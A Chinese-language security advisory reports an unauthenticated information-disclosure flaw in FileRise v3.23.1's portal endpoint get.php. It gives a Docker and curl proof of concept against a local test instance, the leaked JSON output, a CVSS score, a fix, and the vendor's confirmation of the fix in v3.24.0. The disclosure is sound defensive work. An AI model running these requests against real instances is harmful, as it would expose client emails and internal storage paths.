get.php)中的未认证信息泄露public/api/pro/portals/get.php 会向任何未认证的调用者(只要其知道或能猜出门户的 slug)返回 FileRise Pro 客户门户的完整内部记录——包括其内部存储文件夹路径、客户联系邮箱以及完整的上传策略。
同一目录下的每个同级端点(list.php、save.php、listEntries.php、submitForm.php、submissions.php)在运行前都会调用 fr_pro_guard_auth(...);get.php 是唯一的例外。该应用已经为同一 slug 提供了一个经过精心筛选的公开端点(publicMeta.php),它只返回品牌相关字段——这证明这些数据本不应在认证前暴露。
public/api/pro/portals/get.phpProPortalsApiService::getPortal() → PortalController::getPortalBySlug()(src/FileRise/Http/Controllers/PortalController.php:60)error311/FileRise @ 标签 v3.23.1(使用项目自带的 Dockerfile 构建,全新首次运行设置)get.php 在没有任何认证门禁的情况下运行:
require_once __DIR__ . '/../_common.php'; require_once PROJECT_ROOT . '/src/FileRise/Domain/ProPortalsApiService.php';
try { $slug = isset($_GET['slug']) ? (string)$_GET['slug'] : ''; fr_pro_emit_result(\FileRise\Domain\ProPortalsApiService::getPortal($slug)); } catch (Throwable $e) { ... }
此文件中任何地方都没有 fr_pro_guard_auth() 调用——这与 list.php / save.php / listEntries.php 形成对比,后者都会首先调用它。
getPortal() 返回的记录与管理员在编辑门户界面上看到的相同,包括敏感字段:
return [
'slug' => ..., 'label' => ..., 'folder' => $folder, 'clientEmail' => $clientEmail,
'sourceId' => $sourceId, 'uploadOnly' => ..., 'allowDownload' => ...,
'uploadMaxSizeMb' => ..., 'uploadExtWhitelist' => ..., 'uploadMaxPerDay' => ...,
'allowSubfolders' => ..., 'formDefaults' => ..., 'canUpload' => $canUpload, ...
];
作为对比,publicMeta.php——前端(public/js/portal.js)为匿名门户登录页实际调用的端点——通过 PortalPublicMetaService::getPublicPortalMeta() 从单独的、精简的 portals.json 投影中加载,并且只返回品牌相关字段:
['slug', 'label', 'title', 'introText', 'brandColor', 'footerText', 'logoFile', 'logoUrl']
关于前提条件: 攻击者只需知道或猜出一个门户 slug——这是一个简短的、人类可读的、由管理员选择的标签,直接用于可分享的门户 URL(/portal/<slug>),而不是高熵的机密。Slug 通常会通过电子邮件或链接与客户共享,因此任何曾经收到过门户链接的人实际上都能触达此漏洞。
已针对 error311/FileRise @ v3.23.1 进行实时验证,在漏洞请求中零 cookie/会话。
关于测试的说明: FileRise Pro(授权的
ProPortals.php捆绑包)是一个单独的付费附加组件,不包含在此仓库中。下面的 PoC 使用一个最小的本地测试桩激活 Pro 模式,该测试桩仅实现 OSS 代码已经调用的listPortals()接口(PortalController.php:60→new ProPortals(FR_PRO_BUNDLE_DIR)→->listPortals())。这精确复现了每个真实授权实例所运行的 OSS 侧代码路径;未使用也不需要任何专有代码。
1. 构建镜像:
git clone https://github.com/error311/FileRise.git
cd FileRise
docker build -t filerise-local -f Dockerfile .
2. 最小本地测试桩,用于触发 OSS 侧的 Pro 门禁代码(不是专有捆绑包——仅足以满足 FR_PRO_ACTIVE / ProPortals::listPortals()):
mkdir -p data/users/procat > data/users/pro/bootstrap_pro.php <<'PHP' <?php define('FR_PRO_ACTIVE', true); PHP
cat > data/users/pro/ProPortals.php <<'PHP' <?php class ProPortals { public function __construct(string $dir) {} public function listPortals(): array { return ['client-portal' => [ 'label' => 'Client Portal', 'folder' => 'confidential/client-acme-contracts', 'clientEmail' => '[email protected]', 'uploadOnly' => true, 'allowDownload' => false, 'uploadMaxSizeMb' => 25, 'uploadExtWhitelist' => 'pdf,docx', 'uploadMaxPerDay' => 10, ]]; } } PHP
cat > data/users/pro/portals.json <<'JSON' {"portals":{"client-portal":{"label":"Client Portal","folder":"confidential/client-acme-contracts","clientEmail":"[email protected]"}}} JSON
3. 运行容器:
docker run -d --name filerise-test -p 8899:80 \
-v "$(pwd)/data/uploads:/var/www/uploads" \
-v "$(pwd)/data/users:/var/www/users" \
-v "$(pwd)/data/metadata:/var/www/metadata" \
-e SECURE=false filerise-local
4. 未认证请求——无 cookie jar,无登录:
curl -s "http://localhost:8899/api/pro/portals/get.php?slug=client-portal"
结果(HTTP 200):
{"success":true,"portal":{"slug":"client-portal","label":"Client Portal",
"folder":"confidential/client-acme-contracts",
"clientEmail":"[email protected]",
"uploadOnly":true,"allowDownload":false,
"uploadMaxSizeMb":25,"uploadExtWhitelist":"pdf,docx","uploadMaxPerDay":10, ... }}
5. 与该应用自身有意公开的同级端点对比,相同 slug:
curl -s "http://localhost:8899/api/pro/portals/publicMeta.php?slug=client-portal"
{"success":true,"portal":{"slug":"client-portal","label":"Client Portal","title":"","introText":"","brandColor":"","footerText":"","logoFile":"","logoUrl":""}}
没有 folder,没有 clientEmail,没有上传策略——这证实 get.php 泄露了应用本身视为私有的数据。
6. 确认同级仅管理员端点确实受到正确门禁保护(用于对比):
curl -s -w "\nHTTP:%{http_code}\n" "http://localhost:8899/api/pro/portals/list.php"
{"error":"Unauthorized"}
HTTP:401
| 字段 | 值 |
|---|---|
| CVSS 3.1 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| CVSS 3.1 评分 | 5.3(中危) |
| CWE-306 | 关键功能缺少认证 |
| CWE-200 | 向未授权行为者暴露敏感信息 |
添加同级端点所使用的相同 fr_pro_guard_auth(...) 门禁。由于 get.php 实际上似乎服务于已认证管理员的“编辑门户”界面(根据 public/js/adminPortals.js),它应要求 fr_pro_guard_auth(true, false)(管理员)。任何合法的匿名使用都应改为通过 PortalPublicMetaService 已经筛选过的字段集进行。
感谢负责任的披露和详细的复现。
我们审查了 FileRise Pro 门户端点并确认了该问题。/api/pro/portals/get.php 在未首先要求已认证的 FileRise 会话的情况下,返回了已认证门户应用的完整门户记录。因此,知道或猜出已配置门户 slug 的调用者可以检索门户的内部存储文件夹、所配置的客户邮箱、表单设置以及上传策略细节。
匿名门户登录页不需要此内部记录。它使用单独的 /api/pro/portals/publicMeta.php 端点,该端点有意只返回经过筛选的品牌相关字段。
该修复已在 FileRise v3.24.0 中实现:
/api/pro/portals/get.php 现在仅接受来自已认证 FileRise 会话的 GET 请求。/api/pro/portals/publicMeta.php 保持匿名,并继续只返回有意公开的品牌投影。无需配置、账户、门户、存储或 Docker 迁移。未认证即请求完整门户详情端点的集成必须使用经过筛选的公开元数据端点,或建立已认证的 FileRise 会话。
我们同意中危严重性以及所提交的 CVSS 3.1 向量。
所展示的影响仅限于机密性。该端点不会修改门户配置、不会认证调用者、不会暴露已存储的文件,也不会自行绕过文件夹 ACL。尽管如此,内部文件夹路径、客户联系邮箱和策略设置本不应被匿名披露,而门户 slug 是可分享的标识符,而非认证机密。
请在公告发布前针对 FileRise v3.24.0 验证修复。我们计划在受影响版本和已修补版本信息最终确定后,通过 GitHub 仓库安全公告申请 CVE;请不要单独申请分配。
致谢:Pervin Zahidli (@ech0void ) 参考:https://github.com/error311/FileRise/security/advisories/GHSA-m49m-9v4m-w2rq